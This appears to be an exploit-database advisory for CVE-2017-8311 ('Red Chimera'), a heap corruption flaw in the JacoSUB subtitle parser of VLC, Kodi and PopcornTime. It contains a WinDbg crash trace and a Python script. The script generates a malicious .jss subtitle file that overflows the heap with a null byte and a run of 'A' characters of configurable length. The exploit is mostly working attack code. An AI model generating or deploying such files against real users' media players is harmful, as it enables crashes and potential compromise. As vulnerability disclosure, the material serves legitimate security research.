VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)

Credit: SivertPL
Risk: High
Local: Yes
Remote: No
CWE: CWE-119

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

""" VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC) Author: SivertPL (kroppoloe@protonmail.ch) CVE: CVE-2017-8311 Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll. This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime. The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless. I want to join a research team. """ """ ModLoad: 00000000`71660000 00000000`716a2000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll ModLoad: 00000000`71630000 00000000`71651000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll ModLoad: 00000000`71610000 00000000`7162e000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll ModLoad: 00000000`71600000 00000000`7160d000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll ModLoad: 00000000`715e0000 00000000`715fd000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll ModLoad: 00000000`715d0000 00000000`715de000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll ModLoad: 00000000`715b0000 00000000`715cf000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll core demux error: option sub-original-fps does not exist (33c.d10): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll - libsubtitle_plugin+0x44de: 715b44de 881f mov byte ptr [edi],bl ds:002b:1b9fb000=?? 0:012:x86> g (33c.d10): Access violation - code c0000005 (!!! second chance !!!) wow64!Wow64NotifyDebugger+0x1d: 00000000`754ac9f1 654c8b1c2530000000 mov r11,qword ptr gs:[30h] gs:00000000`00000030=???????????????? """ import os import struct import sys import argparse len = 1025 def main(argv): parser = argparse.ArgumentParser() parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload") parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int) args = parser.parse_args() if args.length: global len len = args.length print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len) write(args.filename, len) def write(name, len): subtitles = open("%s.jss" % name, "w+") subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n") subtitles.write("0:00:04.00 0:00:05.00 vm attack") subtitles.write("\\C") subtitles.write(struct.pack('B', 0)) subtitles.write('A' * len) subtitles.close() print "[+] Done!" if __name__ == "__main__": main(sys.argv[1:])

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